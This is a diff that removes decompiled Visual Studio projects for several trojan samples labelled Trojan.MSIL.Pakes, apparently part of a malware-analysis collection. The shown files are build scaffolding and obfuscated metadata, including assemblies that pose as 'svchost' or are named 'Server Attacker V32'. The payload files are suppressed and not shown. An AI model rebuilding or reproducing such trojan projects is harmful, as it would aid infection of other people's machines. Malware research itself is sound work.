<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{D8F28A04-9D79-44FC-8C85-AE2F73816288}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Server Attacker V32</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>My</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="zvkFulzKssfStPc.cs" />
<Compile Include="Ujdnd7sjD9ad.cs" />
<Compile Include="MyApplication.cs" />
<Compile Include="MyComputer.cs" />
<Compile Include="MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/Trojan.MSIL.Pakes.aq.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server Attacker V32", "Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136.csproj", "{D8F28A04-9D79-44FC-8C85-AE2F73816288}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{D8F28A04-9D79-44FC-8C85-AE2F73816288}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{D8F28A04-9D79-44FC-8C85-AE2F73816288}.Debug|Any CPU.Build.0 = Debug|Any CPU
{D8F28A04-9D79-44FC-8C85-AE2F73816288}.Release|Any CPU.ActiveCfg = Release|Any CPU
{D8F28A04-9D79-44FC-8C85-AE2F73816288}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/Ujdnd7sjD9ad.cs
-3084
View File
File diff suppressed because it is too large Load Diff
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/zvkFulzKssfStPc.cs
-96
View File
File diff suppressed because one or more lines are too long
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/AssemblyInfo.cs
-7
View File
@@ -1,7 +0,0 @@
using System.Reflection;
[assembly: AssemblyFileVersion("0.2.5.6")]
[assembly: AssemblyCopyright("XxTJlDjHiIildYf")]
[assembly: AssemblyTrademark("SxYSIZpnUOKgpFH")]
[assembly: AssemblyProduct("aAMKEpsUofEbuzZ")]
[assembly: AssemblyVersion("0.2.5.6")]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/MyApplication.cs
-18
View File
@@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: server4, Version=0.2.5.6, Culture=neutral, PublicKeyToken=null
// MVID: D3D40A2A-DCEA-427F-BF12-5D3333A81FA3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ApplicationBase
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/MyComputer.cs
-24
View File
@@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: server4, Version=0.2.5.6, Culture=neutral, PublicKeyToken=null
// MVID: D3D40A2A-DCEA-427F-BF12-5D3333A81FA3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/MyProject.cs
-108
View File
@@ -1,108 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: server4, Version=0.2.5.6, Culture=neutral, PublicKeyToken=null
// MVID: D3D40A2A-DCEA-427F-BF12-5D3333A81FA3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[HideModuleName]
[StandardModule]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[ComVisible(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/Trojan.MSIL.Pakes.ar.csproj
-46
View File
@@ -1,46 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{1A2A3643-D621-4E96-B160-9B9CD9AA6053}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>server4</AssemblyName>
<ApplicationVersion>0.2.5.6</ApplicationVersion>
<RootNamespace>My</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="WNblUUHtUqESyQD.cs" />
<Compile Include="vOLhRciepHIdeoM.cs" />
<Compile Include="MyApplication.cs" />
<Compile Include="MyComputer.cs" />
<Compile Include="MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/Trojan.MSIL.Pakes.ar.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "server4", "Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154.csproj", "{1A2A3643-D621-4E96-B160-9B9CD9AA6053}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{1A2A3643-D621-4E96-B160-9B9CD9AA6053}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{1A2A3643-D621-4E96-B160-9B9CD9AA6053}.Debug|Any CPU.Build.0 = Debug|Any CPU
{1A2A3643-D621-4E96-B160-9B9CD9AA6053}.Release|Any CPU.ActiveCfg = Release|Any CPU
{1A2A3643-D621-4E96-B160-9B9CD9AA6053}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/WNblUUHtUqESyQD.cs
-64
View File
File diff suppressed because one or more lines are too long
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/vOLhRciepHIdeoM.cs
-1933
View File
File diff suppressed because it is too large Load Diff
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/AssemblyInfo.cs
-7
View File
@@ -1,7 +0,0 @@
using System.Reflection;
[assembly: AssemblyCopyright("nOyqTUdIDXPhbnv")]
[assembly: AssemblyFileVersion("9.9.4.2")]
[assembly: AssemblyTrademark("EMufKtrzbWkKuMP")]
[assembly: AssemblyProduct("bNprclHsAEbAqhS")]
[assembly: AssemblyVersion("9.9.4.2")]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/MSOZqrNOYvcGVCJ.cs
-64
View File
File diff suppressed because one or more lines are too long
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/MyApplication.cs
-18
View File
@@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: Server, Version=9.9.4.2, Culture=neutral, PublicKeyToken=null
// MVID: 5CDF49B2-A4AF-4C8F-A00E-8C21695707AD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyApplication : ApplicationBase
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/MyComputer.cs
-24
View File
@@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: Server, Version=9.9.4.2, Culture=neutral, PublicKeyToken=null
// MVID: 5CDF49B2-A4AF-4C8F-A00E-8C21695707AD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyComputer : Computer
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyComputer()
{
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/MyProject.cs
-108
View File
@@ -1,108 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: Server, Version=9.9.4.2, Culture=neutral, PublicKeyToken=null
// MVID: 5CDF49B2-A4AF-4C8F-A00E-8C21695707AD
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[HideModuleName]
[StandardModule]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal sealed class MyWebServices
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/Trojan.MSIL.Pakes.ar.csproj
-46
View File
@@ -1,46 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{DC023C60-2173-42AE-A990-DFB646C70254}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>Server</AssemblyName>
<ApplicationVersion>9.9.4.2</ApplicationVersion>
<RootNamespace>My</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="MSOZqrNOYvcGVCJ.cs" />
<Compile Include="jkinYfmDedtjldD.cs" />
<Compile Include="MyApplication.cs" />
<Compile Include="MyComputer.cs" />
<Compile Include="MyProject.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/Trojan.MSIL.Pakes.ar.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727.csproj", "{DC023C60-2173-42AE-A990-DFB646C70254}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{DC023C60-2173-42AE-A990-DFB646C70254}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DC023C60-2173-42AE-A990-DFB646C70254}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DC023C60-2173-42AE-A990-DFB646C70254}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DC023C60-2173-42AE-A990-DFB646C70254}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/jkinYfmDedtjldD.cs
-1933
View File
File diff suppressed because it is too large Load Diff
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/AssemblyInfo.cs
-7
View File
@@ -1,7 +0,0 @@
using System.Reflection;
[assembly: AssemblyFileVersion("3.5.2.8")]
[assembly: AssemblyCopyright("LnYNuVEvbcWsydJ")]
[assembly: AssemblyTrademark("kelvnjJlBOTkFRz")]
[assembly: AssemblyProduct("kGbPHSVfgASXlMR")]
[assembly: AssemblyVersion("3.5.2.8")]
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/MyApplication.cs
-18
View File
@@ -1,18 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyApplication
// Assembly: svchost, Version=3.5.2.8, Culture=neutral, PublicKeyToken=null
// MVID: 521628A7-CFE1-42CE-AFBC-9626CC78784E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e.exe
using Microsoft.VisualBasic.ApplicationServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyApplication : ApplicationBase
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/MyComputer.cs
-24
View File
@@ -1,24 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyComputer
// Assembly: svchost, Version=3.5.2.8, Culture=neutral, PublicKeyToken=null
// MVID: 521628A7-CFE1-42CE-AFBC-9626CC78784E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "8.0.0.0")]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/MyProject.cs
-108
View File
@@ -1,108 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: My.MyProject
// Assembly: svchost, Version=3.5.2.8, Culture=neutral, PublicKeyToken=null
// MVID: 521628A7-CFE1-42CE-AFBC-9626CC78784E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace My
{
[GeneratedCode("MyTemplate", "8.0.0.0")]
[HideModuleName]
[StandardModule]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class MyWebServices
{
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public override int GetHashCode() => base.GetHashCode();
